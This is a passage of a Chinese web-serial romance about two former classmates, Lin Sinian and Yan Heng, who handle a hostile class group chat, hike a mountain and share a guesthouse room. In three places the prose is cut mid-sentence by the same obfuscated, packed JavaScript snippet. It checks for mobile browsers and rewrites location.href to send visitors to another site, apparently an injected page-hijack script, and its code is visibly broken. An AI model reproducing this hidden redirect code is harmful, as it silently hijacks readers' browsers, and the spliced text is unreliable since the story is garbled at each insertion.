他这么一说,言珩才把手里的烟头按灭在车载烟灰缸里,散了散味,贴过来看他的手机屏幕。林斯年把聊天划到最顶端,慢慢往下划,确保言珩能看清楚里面的内容。 第一条消息就是那张偷拍的照片。 是一个叫江野的男生发的。 予:[图片] 予:@负熵,这里面是你跟言珩? 然后是班长季铭川的消息。 Charles:应该是吧,我昨天去Z大,正好看到他们两个在一块。 予:言珩高三的时候一声不吭地消失,大家都联系不上他,林斯年你这家伙不厚道呀,你和他还有联系,怎么不告诉我们? Charles:他们也是前两天刚见面的。 予:啧。 予:@负熵,不过,你们不愧是同桌,他回来找的第一个人居然是你。 予:既然回来了,有时间一起吃饭吗,大家也好久没聚了吧。 予:我和班长都在Z市,林斯年和言珩应该也还在Z市,不然就定在Z市,大家有空的吱个声,下周六的晚上一起吃个饭? 约饭的话一出,好几个潜水的同学都出来说自己有空,离Z市不远。 二班有很多群,有两个大群,一个里面有各科代课老师以及所有学生,一个里面没有老师但有所有同学,还有各种小群,比如说只有男生在的,或者只有女生在的,而男生这边呢,又分了很多关系好和不好的小群。 这个群里就集合了垂城二中二零二二级二班的所有男生。 刚高中毕业那两年,他们还会每年至少举行一次聚餐,后来也没了声息,这会儿有人说要聚餐算是个抛砖引玉,后面大家聊近况的聊近况、聊回忆的聊回忆。 这一段内容,林斯年往下划得很快。 他继续往下划,直到手指在屏幕上划动的速度重新变慢。 予:看来大家过得都挺好的。大学快毕业了,要么找到好工作,要么继承家业了。你们是不知道,班长从国外一回来,家里就给买了一辆一百多万的车和S市一个大平层。 予:真羡慕啊,我是找不到好工作了,家里也给不了多大助力,只能一条路走到黑。 Charles:别妄自菲薄。 予:我哪有妄自菲薄,我要能找到好工作,保研通知下来的时候就拒绝了,这下好了,还得在学校再蹉跎三年。 其实就是想说自己也有了出路,要读研,这话免不了引来几句说他炫耀的,或者祝福他学业顺利的。 予:说实话,我还挺好奇言珩的现状的。咱们班当时需要贫困补助的,好像也就我和他吧。他高三消失后,也不知道后面有没有继续读书了。 予:人啊,还是得信老话,天道酬勤,虽然我不聪明,但是我努力,现在也算是走上正路了,读书确实能改变人生。 Charles:你已经很厉害了,能靠自己走到今天这一步。 予:嗐,不说这个。 予:@负熵,你有言珩微信吗,把他拉进群里来呗,都二十多岁了,不能总那么孤僻,不和别人交流吧。 予:说不定他现在过得比我还好呢? Charles:还真说不定呢。 Charles:我见他俩的时候,言珩说自己找了份不错的工作,自己还靠自己买了辆车呢。 予:那确实挺好的,现在大环境这么差,能找到养家糊口的工作,一定付出挺多努力的吧。 予:@负熵,林斯年出来说句话呗,大家打算下周六晚上聚餐,你和言珩来不来,给个准信。 予:不来就是不给大家面子,前几年的聚餐你俩都没来,今年都定在Z市了,你俩必须得来啊。 也许是他们一直在煽动情绪,后面的消息也都是关于林斯年和言珩的讨论,不外乎猜测他们现在在做什么,以及希望他俩能够到场。 聊天划到了最新的地方,没有了。林斯年把手机放在手心,侧头观察言珩。 言珩睫毛掀动,脸上什么表情都没有。 林斯年把手机关了,放在一边:“你不想加群的话,我就不在里面说话了。” 他一向如此,很少水群,如果不是艾特了他很多条,他连这个群都不会点进来,更别说回复群里的消息了。 问起来就说没看到好了。 “不回复,会对你造成困扰吗?”言珩问。 “会吧,不过顶多是后面私下问我两句,我到时候就说我没看到消息。”林斯年说。 “那你拉我吧。”言珩说。 林斯年瞥了眼言珩的表情,见他没有任何恼怒和难过的迹象,才拿起手机把他拉进了群。 言珩:“也该讲清楚一些事情了。” 说是这么说,被拉进群里后,立马往上刷了好几条消息,都在问他乱七八糟的问题,言珩一律没有回复,开了免打扰就把手机放在一边了。 林斯年:“那聚餐呢?你想去吗?” 言珩:“你希望我去吗?” 林斯年想了想,看群里聊天,大家对言珩有一种莫名其妙的恶意,聚餐大概率是鸿门宴。看言珩的样子,好像并不是很在意这些。 但是…… 林斯年对上言珩的视线,毫不犹豫地点头:“那我们去吧,下周六你有空吗?” “下周六的话。”言珩边拿起手机发消息,边对林斯年说,“有。” 林斯年想到了什么,笑着问:“你车库里最贵的车是什么呀?” “最贵的吗?不好说,有很多都是限定或者仅仅作为收藏的老古董,有市无价。”言珩回消息的中间看了一眼林斯年,“怎么突然问这个?” 林斯年勾唇:“我们扮猪吃虎。” 言珩其实能懂林斯年的意思,但站到他这个位置上,已经不在乎别人怎么想他了,也并不在乎高中那群,不出意外之后都不会再有交集的人的看法。 不过,他看了看林斯年的表情,好像人天生就对狗血打脸的戏码感兴趣,林斯年看着他,笑得一脸不怀好意。 言珩心里蓦地一软:“好。” 林斯年:“他们对你的印象还是高中那会儿,不知道你现在摇身一变,成大公司的CEO了,你到时候开最贵的车,穿有大logo的奢侈品衣服,闪瞎他们的脸。” 言珩并不看这边,附和:“好主意。” 林斯年探身过去,想看言珩在忙什么,一直在手机上打字。言珩对他不设防,手机屏幕上的聊天记录映入眼帘。 李:为什么要推迟回S市的时间? 言珩:突然有事。 言珩:我定了周日的机票去S市。 李:周日是给你的最后期限。 后面言珩还没回。林斯年反应过来他们谈话的意思,有点不好意思地说:“是不是耽误你回S市的时间了?” 言珩捏了捏眉心:“不耽误。” “其实我也很好奇。”林斯年看向言珩,“你高三消失是为什么,是因为……”躲我吗? “因为我外公。”言珩说。 “外公?”林斯年诧异。 “嗯,我妈妈是被拐卖到垂城的,后来……”言珩看向林斯年,十分坦诚,“后来你也知道,我们在垂城过得并不好,直到临近高三的那个暑假,我收到了外公的消息。” “那你外公,很厉害吗?”林斯年又问。 “嗯。”言珩垂眸。 “所以你后来就一直跟着你外公吗?”林斯年又补充了一句,“在国外?” 言珩:“对。” 林斯年:“上学吗?” 言珩:“不,不过会学一些特训课程,包括管理经济学、市场营销、一些相关的法律条文、如何管理公司。” 林斯年:“除了这些呢?” “还有一些社交礼仪、心理学、博弈论和谈判之类的。” 林斯年:“我看过极溯官网上你的简介,这五年期间你做出的成果很多。” 言珩有问必答,林斯年满心的疑问就一个接一个崩了出来。言珩拍了拍他的脑袋,回想起这五年的经历,有的时候他也会想,这是不是一场梦。 他闭上眼睛,很快又睁开:“刚开始的时候很累,光是听懂老师讲话就很费力了……” 林斯年:“外语吗?” 言珩:“嗯。” 林斯年:“后来呢?” 言珩:“把课上得差不多了,可能觉得纸上得来终觉浅,外公直接放任我参与到公司的项目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374871|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里了,在实战中确实能学到更多。” 那会儿他比现在更年轻,更稚嫩,集团总部在新加坡,他从基层做起,虽然走了不少捷径,但到底是自己一步一步摸爬滚打升上来的。等在集团内部站稳脚跟后,外公终于同意他回国,负责集团在国内的子公司,也就是极溯。 小时候一块钱都要掰成两块花的他,却要在动辄上千万的单子上面签字。一开始也会担心自己不小心做错什么,后来就逐渐麻木了。 言珩:“没有想象中那么高大上吧,很多合作并不是某个人的一言堂,而是多方努力促成的结果,就算不是我去做,也会是别人。一个人能撬动的东西太少了。” 林斯年:“可是你还是得努力。” 言珩笑了一下:“对,我还是得做,而且得做得漂亮。” 林斯年:“漂亮?” “嗯,漂亮。”言珩说,“很多人并不关心你真正做出了什么成果,所谓的谈判或者博弈,实际上只是看谁在面子上更舍得下功夫,谁更能豁得出去。” 林斯年:“比如酒桌文化吗?” 言珩点头:“其中一种吧,看谁更能喝,更不要命,更能无底线地包容。” 五年的阅历让言珩变得锋芒毕露。林斯年一直在校园里,就算有进入大学相当于一只脚迈入社会的说法,他也只不过看到了冰山一角,尚有很多需要向言珩求证的地方。 看着他亮晶晶的眼睛,言珩没忍住,又上手拍了拍他的脑袋,解释说:“而且在心理学上,两个人共同经历负面事件,比正面事件更能迅速地建立同盟关系,所以谈生意的时候,涉及到的场合都很隐晦,或者说,需要放大一些内心的阴暗面。见得多了,就祛魅了。” “确实如此。”林斯年想到他为数不多见识过的应酬场面,十分认同地点了点头,“你这次去S市,还会回来吗?” 言珩垂眸:“会。”任何你需要我,或者我认为你需要我的时候,我都会在你身边。 “太好了。” 得到了对方的肯定,林斯年笑了起来,但又觉得自己表现得太明显,把嘴抿了一下,继续问:“你在S市要忙多久呀。” 言珩:“不一定,本来一回国就应该先去忙S市那边的事情,我先来了这边。” “先来了这边吗?”林斯年下意识重复了最后几个字。 言珩岔开话题:“那你呢,这五年,你过得怎么样?” 林斯年:“就……一直读书嘛。” 言珩:“Nuclear Physics? ” 林斯年:“对,原子核物理,其实一开始想学天体物理,但是来了之后发现,有关核天体的都是研究生课程。” 言珩:“那为什么不打算读研?” 林斯年摸了摸大拇指的指甲,低下头,露出一个释然的笑容:“总不能一直读书吧。” 看他一副不想回答的样子,言珩没有就这个问题深入下去:“你给极溯投简历,是自己想来吗?” 林斯年如实回答:“是我妈推荐的。” 言珩笑着说:“挺好。” 林斯年微微抬眸,觑着言珩:“话说,这是大老板的通病吗?” 言珩:“什么?” 林斯年:“我都还没入职,就开始探查我的底细了吗?问我专业,问我学习情况。” 闻言,言珩拍拍他的脑袋:“是啊。” 林斯年说着说着,想到了什么,突然满脸笑容看向言珩:“哦对了。” 言珩挑眉:“嗯?” 林斯年靠近言珩,在他耳边捂着嘴说:“我能走后门吗?” 也许是最近两天相处,言珩变得极好说话,林斯年也大胆了一些。讨厌不讨厌的另说,先把眼前让人头皮焦灼的事情处理完。 “走后门吗?可以。”言珩说,“不过在这之前要先向你确认一件事情。” 林斯年歪头:“什么事情?” 言珩仔细盯着林斯年的脸:“你的社交焦虑障碍很严重吗?” 林斯年愣了愣,反应过来言珩可能在担心他的心理疾病对入职有影响,摇头说:“我从高三开始一直在吃药,后来几乎不会焦虑到很痛苦了,只是还是不太愿意和人交流吧。” 言珩追问:“那如果在和人交流和不和人交流之间选择,你更倾向于什么?” 林斯年一副你这不是废话的表情:“当然是尽量少跟人接触,每次人一多,我浑身都不舒服。” “这样啊……” 言珩思考了一会,看向林斯年,露出一个标准的公式化笑容。 “好,那么恭喜你,你通过初筛了。” 11. CH.11 尽管知道自己的简历足够漂亮,不靠言珩也可以过初筛,但是被将来的老板这么义正严辞地说恭喜他通过,还是一件足够让人感到愉快的事情。 林斯年把头转向窗外,车早已驶出市区,取而代之的是大片大片刚冒了花的树,估计再有半个小时就到山脚下了。 言珩又开始抽空办公,林斯年看了一会儿外面的花,又盯着他手里的工作看了几分钟,以前为了应付选修课学分,林斯年选过一门金融学,老师在课上讲过报表怎么看,但是从来没在实际中见过,还挺新奇的。 等车开进停车场,言珩才揉了揉额角,放下平板说:“这会儿下午两点,爬上去差不多五点,在山顶上的民宿住一晚,第二天看完日出,我们再下山。” 这是来之前就已经计划好的。 林斯年点头:“好。” 山里的温度比市区要低一些,林斯年从里到外依次是:速干T恤、抓绒衣、橙黄色的冲锋衣。 言珩和他基本一样,不过衣服上的牌子林斯年不认识,大概率很贵。 从山脚往山顶看,没有太阳,雾气很重,能见度不高,台阶直通天际,让人望而生却。这个点还在山脚下的人几乎没有。 林斯年仔细检查过自己的帽子和口罩,充满干劲对言珩说:“上山!” 言珩往上提了一下轻装包,从衣领上取下别着的墨镜,戴在脸上,抬头看向山顶:“好。” 两人在路上的时候也会闲聊,聊的内容天南海北的,跨度从怎么看待一个事物到最喜欢吃的水果。走走停停,聊天也算是爬山途中不错的消遣。 两人在前天下午见到五年后的第一面,到现在才正式破冰。 也许是年纪涨了,喜欢和讨厌都变得不像青春期那样来得浓烈。 在言珩消失的五年间,林斯年也有过幻想,他们的重逢会是什么样的。 他们相处不到一年的时间里,并没有经历多么刻骨铭心的事情,更别提两人的最后一面,闹得那么不愉快。 对于林斯年来说,一段关系的起点是朋友,最差的结果也是朋友。如果有人连朋友都不想跟他做,那真是天底下最糟糕的事情了。 那么,他要怎么和一个讨厌他到,不想和他做朋友的人相处呢? 林斯年侧头看向言珩。他以为他们的重逢会是势同水火,或者貌合神离,总不会是现在这样,他甚至可以心平气和地跟言珩开玩笑。 明天下山,后天周一,言珩要开始上班,而他要为即将到来的工作面试做准备,两人又要重新回到各自的轨道上。 好像什么都没变,但好像什么都变了。 上山的路上遇到了好几波在路边休息的人,言珩和林斯年毕竟两个二十出头的男生,体力够用,远远把一批又一批的人甩在身后。 赶在五点的时候,两人到了订好的民宿。 民宿位于即将登顶岔出去的小路上,石板铺成的路,一进门是一个种满了花的小院,左右排了几个桌子,西房是餐房,南面架了一个秋千,没人,只有几只小猫在上面团着睡觉。 因为是淡季,客流相对较少,一共五个独栋的两层小屋,老板娘说连他俩一起住满了两个屋子,怕夜里冷,这会儿已经给供上暖气了。 他们订的是一套小屋,上下两个房间,都带卫生间和客厅。 林斯年一进门就小心翼翼地往秋千靠,他的动作很轻,蹲在秋千面前的时候,上面贴在一起团着的四只猫都没醒。 他就那么蹲着看了一会儿,有一只橘猫睁开了眼睛,不怕人,滴溜溜的眼睛看他。林斯年手掌握成拳伸过去,给小猫闻了闻手背。 小猫小巧的鼻子动了动,过了好一会儿才用额角在林斯年的手背上蹭了蹭。 见此情形,林斯年心里痒痒的,这可能是社恐人的通病,不喜欢人,喜欢小动物。 手背被毛绒绒的东西来回扫过,他笑起来,转身喊说:“言珩,快来。它让摸哎!” 言珩就站在他身后不远处,一些配件和书包被他放在了桌子上,他单手撑在桌子上,全身的力气压在左腿上,右腿随意交叠着。 他以这样的姿势注视了林斯年很久,从对方试探着和小猫建立友谊的时候。 院子外长着很多玉兰树,晶莹剔透的花瓣从外面探进来。比白玉兰还要莹润的男生转头,身影落在远处重重叠叠山脉间,像一幅水墨画。 林斯年精致的脸倒映在言珩的瞳孔里,笑得山明水净。 而后,天就要暗下来了。 言珩走了过来,微微弯腰,不过他身上气质太冷冽了,其余三只小猫立马四散而逃,只有最开始那只比林斯年手掌还小的橘猫,还好端端待在手旁边。 林斯年把那只小猫抱在怀里:“好可爱,咪咪你叫什么名字呀?” 言珩伸出一根指头,戳了戳小猫的脑袋,小猫立马张开嘴要咬,他躲了好几次,小猫没咬成功,有些气急败坏地伸爪子。 林斯年把身往后一扭,让小猫躲开恶爪,呵斥言珩:“干嘛,欺负一只猫?” 言珩把手收回:“什么。” 他把两个字念得字正腔圆。 林斯年下意识说:“什么?” 言珩:“什么。它的名字。” 林斯年一脸不信:“编的吧?” 言珩说得一本正经,指了指小猫:“不是,它真叫什么,不信你叫一声试试?” 林斯年收回质疑的目光,转而看向怀里正在舔爪子的小猫,试探着喊了一声:“……什么。” 然后,一只手就放到了他的脑袋顶上。林斯年一愣,额前的碎发随着那人手的动作晃动着,他听到一句因为胸腔震动而发出的笑声:“哎,乖猫猫。” 反应过来既然小猫叫什么,他也叫什么,那么小猫等于他的林斯年:“……” ……什么冷笑话。 小猫在他怀里轻轻叫了一声:“喵。” 林斯年摸了摸它的脑袋:“那好吧,那你就叫什么吧。” 取好名字,林斯年把小猫放回秋千上,起身的时候故意踩了一下言珩的脚尖,往老板娘那边走。 言珩在他身后失笑。 两人点了火锅,快六点的时候,天空已经变成湛蓝色,老板娘把院子里的灯全部打开,火锅在桌子上架起来,水雾蒸腾而上。 旁边还有另一桌,四个人,两对情侣。 言珩和林斯年吃饭的时候几乎不说话,旁边的人倒是聊得热火朝天。期间,林斯年听了一段,是他们在轮流讲鬼故事,他听得津津有味的。 “搬进新家,我总觉得半夜有人在盯着我。我怀疑床底下有人,趴下去看,空的。 我怀疑衣柜里有人,打开看,只有衣服。 直到有一天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374872|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我对着镜子刷牙,余光瞥见身后门框边,探出半张惨白的脸死死盯着我。 我猛地回头,什么都没有。 我松了口气,转回去继续刷牙。这时,镜子里的我,突然冲我咧嘴一笑,然后慢慢把头探出门框,看了一眼我身后的位置。” 是一个男生先讲的,讲完了,期待地看向剩下几个人,却得来说一点都不恐怖的评价。 而后另外几个开始讲。 “……” “火锅热气腾腾,大家聊得热火朝天。 坐在我旁边的朋友突然安静下来,脸色古怪地盯着沸腾的锅底。 我问他怎么了。他小声说:刚才服务员端锅上来的时候,我没看清,以为有六个人。 废话,咱们聚餐就是六个人啊。 我数了数在座的,一二三四五六,没错。 他脸色更白了,声音发抖:对,加上你我,是六个。但我数的……是映在对面窗户玻璃上的倒影。玻璃里,有七个人。” …… 可能是因为正在吃火锅,林斯年觉得他们讲的这个虽然不恐怖,在他听来却莫名瘆人,不动声色地瞅了一眼言珩。但看言珩面无表情,并且对他投来的视线挑了一下眉,以示回应,表情好像在说你瞅啥。 林斯年默默咬下一块沾了酱汁的肉片,屁股往言珩那边挪了一下。 一直到晚上,言珩先行回了楼上。 林斯年住楼下,他进了卫生间打算刷牙,而后和镜子里的自己对视上:“……” 如果说恐怖故事,林斯年只是觉得瘆人。那么当他刷完牙洗漱完要从卫生间出去,和柜子上扎着两个小辫的硬壳长翅膀生物对视上的时候,才叫真正的地狱。 要问南方人最怕什么,说什么的都有,但只有蟑螂会让所有人谈之色变。 林斯年深吸了一口气:“……” 他感觉拖鞋踩到了什么硌脚的东西,下意识抬起来一看,一枚在浴室灯下反射着诡异光芒的蟑螂卵鞘映入眼中。 有这么一个说法,蟑螂的生命极其顽强,当你把它的卵踩碎后,里面孵出来的小蟑螂会随着你踩在哪里在哪里存活。 林斯年腿一软,两只手捂住耳朵。 “啊!”他发出一道短促的气声。 三秒钟的时间,言珩从楼梯上三步并两步,噔噔噔跑过来。林斯年眼前一花,再睁眼,面前就站定了一个像堵山一样的人。 言珩微微躬身,两只手握在他的肩膀上,语气急迫,平视:“怎么了?” “……蟑螂。”林斯年说。 “只是蟑螂啊,我还以为你突然怎么了,吓我一跳。”言珩说完,顺着林斯年的目光看过去,和柜子上十分嚣张的蟑螂对视上,“……” 林斯年把拖鞋往旁边一踢,两只脚踩在言珩的脚背上,整个人都贴了过去:“我不要一个人睡,我要跟你一起睡。” 言珩:“……” 林斯年揽着言珩的脖子,将脸埋进他的胸膛,声音闷闷的:“我踩爆了一个蟑螂卵。” 言珩托着林斯年的腰把他抱起来,两人进行了长达十分钟的对峙,言珩说要把上面的房子让给林斯年住,林斯年不说话,言珩又说蟑螂卵不是他想象中那样的,能踩爆的蟑螂卵都不健康了,孵化不出来小蟑螂,他还是不说话…… 循环往复行不通,言珩抱着他上了楼。 12. CH.12 已经洗漱过,言珩把林斯年抱上楼,向服务生要了一双新拖鞋和新被子后,两人很快就躺下了。 民宿的床足够大,两个男生躺下,中间也有绰绰有余的空间。 也许是昨天已经和言珩在一张床上过,也许是两个男生本来就不需要避讳什么,林斯年在言珩的床上躺得心安理得。 言珩只拉了纱帘,房间里依稀有些光。 过了好一会儿,林斯年才从蟑螂卵的阴影中走出来。他平躺着,侧头看向旁边的言珩,小声问:“你睡了吗?” 先是沙沙的声音,言珩转了个身,然后也用很小的声音说:“快要睡着了。” 林斯年眨眼看着天花板:“我睡不着。” 言珩问:“为什么?” 林斯年:“不为什么,就是睡不着。” 言珩:“嗯。” 又过了一会儿,林斯年以为言珩睡着了,才听到对方用正常的音量说:“睡不着的话,那我们来聊天吧。” 林斯年:“聊什么?” 近乎黑暗的房间里,有言珩摸索的声音,林斯年感觉他的手摸到了自己的脸上,紧接着,试探地摸到了脖子上…… 林斯年一愣,看到反光闪动。 他脖子上戴着的那条项链被拉了出来。那是高中的时候,他送了言珩一件礼物,作为回报,言珩摸了摸口袋,掏出一枚硬币,随口说把这个送给他,后来可能觉得潦草,又给硬币穿了个孔,刻了字,用一条细细的银链穿了起来。 脖子被银链牵扯着,林斯年转身面向言珩,对方正在摩挲着硬币的表面,林斯年看不清他的表情,只能看到他因为微微垂着而露出的纤长睫毛。 言珩:“就聊这个吧。” 林斯年:“好。” 言珩:“这个项链你一直戴着吗?” 林斯年想了想,认真说:“不是。” “嗯?”言珩声音略有沙哑。 言珩没有用力,银链并不会勒到林斯年,但项链被别人拿在手里,脖子处的皮肤上还是会传来奇怪的感觉,一会儿轻一会儿重。 林斯年回想起他刚收到硬币的时候,其实他送出去礼物,根本没想着要还,只是本能地做出了一件自己认为正确的事情。 但是言珩郑重其事还了他一枚硬币。 当时是什么心情,林斯年已经忘了,只觉得那枚硬币很烫,带着赠与人的体温,后来经过加工,以项链的形式还给他,很新奇。 林斯年眨了一下眼睛,缓缓说:“高三你离开之后我就摘了。” 言珩又问:“然后呢?” 林斯年:“我把它放在一个盒子里,高中毕业后统一被我妈收起来了。这个寒假吧,过完年,我突然想起来,就重新戴上了。” 言珩:“我送你一个新的吧。” 林斯年想了想,笑着说:“不用,就这个吧,我觉得很有趣,用一枚硬币当吊坠,平时也见不到,我这可是独一无二的项链,当个配饰也挺好的。” “配饰吗?也好。”言珩说。 “说起这个。”林斯年语气幽怨,“言珩,我们最后一次见面,你没说完的,到底是什么?” 这两天,林斯年不是没有问过这个问题,但每次都被言珩搪塞过去,从来不肯正面回答他的问题。林斯年有时候也会想,要不就不问了,对方不说,他就当作那句话原本就没有后续。 言珩本来就是讨厌他到不想跟他做朋友。 但是可能是理科生的通病,不把一个问题彻底搞明白,如芒在背,如鲠在喉,吃饭都不香了。 这次也一样,几秒钟后。 言珩:“我真的还没想起来。” 也许是早有预料,林斯年叹了口气,翻了个身重新躺平:“好吧。” 聊完这个,言珩就没有再想要聊的了,两人沉默了片刻。 眼睛已经能够适应黑暗,林斯年睁眼和天花板对视,微微有点困意,刚闭上眼睛,脑子里就不合时宜地蹦出来几个为数不多看过的恐怖片片段—— “哐哐哐!”男主人用斧头一下一下砍房门,女主人持刀在屋内痛哭流涕,想象出来的恐怖氛围甚至比肉眼看到的还要浓郁。 林斯年猛地睁开眼睛:“言珩。” 言珩还没睡着:“怎么了?” 林斯年把手伸出被子,小心翼翼地抓住了言珩的胳膊,对方一怔,又问了一遍:“怎么了?” “……我有点害怕。” “害怕什么?” 林斯年当然不会说自己都二十多岁了,还像个小孩子一样怕鬼,他没解释害怕什么,只说:“言珩我抓着你的手腕睡吧,我害怕。” 黑暗中,言珩说:“好。” 林斯年松了口气,能贴到活人的皮肤,会让他稍微感觉不那么害怕。他手掌挪了挪,握住了言珩的手腕,热度从手掌传来,他安心闭上了眼睛。 然而,等到旁边有均匀的呼吸声响起后,林斯年还没睡着。 言珩睡前摘了手表,林斯年握住的是他的左手手腕,紧紧相贴的地方已经酝酿出了一些细密的汗。 林斯年往上换了个地方,摸到了一些不平整的地方。言珩手臂向内侧的皮肤上,有两道凸出来的横向疤痕,林斯年手指在上面轻轻碰了碰。 原来有钱也不能做到完全除疤。 林斯年叹了口气,松开手腕,翻到背靠着言珩的那一边。已经晚上三点了,他昏昏沉沉,不知道什么时候眼前一黑,彻底睡了过去。 睡得太晚且不踏实,等到了约定好的六点钟起床的时候,林斯年果然没顺利醒来。言珩在他耳边喊了好几声,他有些烦躁地把脑袋埋到被子里。 “林斯年,起床啦。” 好烦好烦好烦好烦好烦……… 人为什么要起床! 为什么不能睡到自然醒! 难道他早早醒来有拯救世界的任务吗,如果单靠他一个人,可以拯救世界,那这个世界早就彻底没救了,毁灭吧!如果没有的话,为什么要早起! “起床啦…”言珩拍了拍他的背。 林斯年将身一扭,掀起被子团吧团吧全部盖到了自己的头上,仿佛这样就可以隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374873|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝外面所有声音。 他穿着民宿提供的一次性睡衣,一件短袖和一件短裤,当他把头蒙着的时候,上衣的衣摆掀起来,露出一小截精瘦的腰。 言珩坐在床上,静静欣赏了一会儿他这幅起床气爆炸、不愿意配合的模样。 “再睡最后五分钟。”言珩看了看表。 五分钟后,在言珩喊了他三遍他还是没醒的情况下,言珩上手拍了拍他的肚子:“小肚小肚起床了。” 他拍得很轻,像是只碰了一下,林斯年背上起了一片鸡皮疙瘩,打算装死装到底。 他一点都不想起床,好烦。 一道女声电子音在床头响起:“我在。” 带着某度全屋智能特有的机械电流音效,十分提神醒脑。 林斯年:“……” 言珩:“……” 昨天怎么没发现还有智能语音控制呢? 这下不能装死了,但起床气还没消散。 林斯年把被子拽下来,埋脸在枕头里,迷迷糊糊地说:“我鸟都不想鸟你。” 依旧是同样的女声电子音——“好的,正在为您播放歌曲《我鸟都不鸟你》。” “你,是一只鸟,我妄想抓住羽毛,你轻轻的飞走,像开了个玩笑。 我,沿着你记号,寻找你的坐标,找到你的世界,也不敢打扰。 ……” 神了,居然真有歌叫这个名字。 林斯年的第一反应是这个,第二反应是,现在的人工智能还是太人工智障了。 一直到起床,洗漱好,出了民宿往山顶上走的途中,林斯年都在跟言珩吐槽。 “当你问AI:我想去洗车,目前距离最近的车站五十米,请问我是开车去还是走着去。你知道不同版本的AI会怎么回答吗?” “怎么回答?” “最开始版本比较差的AI会这么说:既然洗车店距离只有五十米,建议您直接走过去,把车留在原地更好。甚至还会分门别类提供理由,比如说更节能减排、锻炼身体、绿色出行等等。” 反应过来其中矛盾的地方后,言珩无声地摇头笑了笑。 太阳刚刚从地平线上升起,今天难得是一个大晴天,拨云见日。橙色的光辉取代白茫茫的像混沌一样的色彩,两人终于到达山顶,清晨吸入肺里的空气带着让人荡气回肠的冷冽,登高望远,是令人着迷且印象深刻的兴事。 不过十几分钟,在言珩余光里,太阳很快地升离地平线,到达天穹中间。 林斯年简略拍了一张照片,把手机收起来,眺望远方,他怀念地说:“以前,我妈妈每年都会带我来爬山,这里许愿很灵,关于我,她总是有很多数不清的心愿。” 言珩侧身靠在栏杆上,看着他,这个五年间只存在于记忆和照片中,似乎都要褪色的少年,现在在面前,如此生动而真实。 也许是海拔高了缺氧,也许是他的心一直在为这个少年跳动,这一刻,只是静静注视着对方,都让言珩感到莫名的感动。 他说:“许愿吗?我也有很多心愿。” 13. CH.13 等太阳完全升起来后,两人又去比较出名的观景点看了看,决定下山的时候,林斯年看了眼时间,八点多。 “我们坐缆车下山吧。”言珩说。 “好。”林斯年点头。 “这会儿下山,正好吃早饭。”言珩说,“然后我让司机送你回学校?” “……好。” “这两天辛苦你了。”言珩说。 “其实还好啦。”林斯年拽了一下口罩,尽管他的社交焦虑障碍已经被药物控制得很好了,但是在人多的地方,他还是不适应把自己的脸露出来,身体的被隐藏的部分越多,他就越有安全感。 他双手大拇指勾在双肩包的带子上,慢悠悠地走路,踢了一下路边的小石子,骨碌碌滚远了。 想了想,他又笑着说:“就当公费旅游了,而且这两天吃到了很多好吃的。” 陆安书能在Z市买房,林婉清每个月也会做些不费力的兼职,他家境不差,每个月的零花钱也很多,不过在遇到言珩之前,随便一顿饭吃将近上万,还是不敢想的。 言珩拍了拍他的肩膀,揽着他躲开迎面上山的几个背包客,也笑着说:“那你还有什么想吃的,我们今天去吃。” 等那几个背包客走了之后,言珩把胳膊从林斯年肩膀上挪开,退回一个安全的位置。 这两天爬山,累人,林斯年确实有想吃的,他点了点头说:“想吃烤肉。” “好,那今天中午吧。”言珩看了看行程,“吃完早饭我要先回公司处理点事情,看你是要跟着我还是回学校休息,忙完了我们去吃。 那还可以跟言珩多待半天。 林斯年有些雀跃,强压下嘴角:“好。” 过了一会儿,他又问:“你每天都很忙吗?来这边是处理和Z大的合作,去S市呢?” 其实他想问的是,等下周六同学聚会结束,言珩什么时候才会再来Z市。 “各种事情吧。”言珩说,太阳有点大,他把墨镜从头顶拉到眼睛上,“回S市,目前主要在忙的,是和S市一个研究所的合作项目,极溯和医院共同出资给研究所,想造新的重离子治疗装置。” “重离子治疗?”林斯年歪头。 “嗯。”言珩笑问,“和你的专业契合度应该很高吧?” “我的专业更偏理论。”林斯年说,“核工程专业的应该会更懂一点,在核领域,工程上总体两个大方向,一个是反应堆,一个是加速器。我所知道的,放射性治疗是选择加速器方向的毕业生一个比较热门的选择。” 言珩笑着点头:“嗯。” 林斯年之前跟着老师访学过,也清楚重离子治疗的大概模型,甚至之前在加速器导论课上,被麦克斯韦方程组和各种磁铁搞得头疼过好几周。 相比于这个,他显然更关心别的,笑眯眯地看向言珩:“投资了多少钱?” 言珩伸出一根手指:“1.8个亿。” 林斯年:“……” 言珩又说:“不包括医院的。” 林斯年:“……” 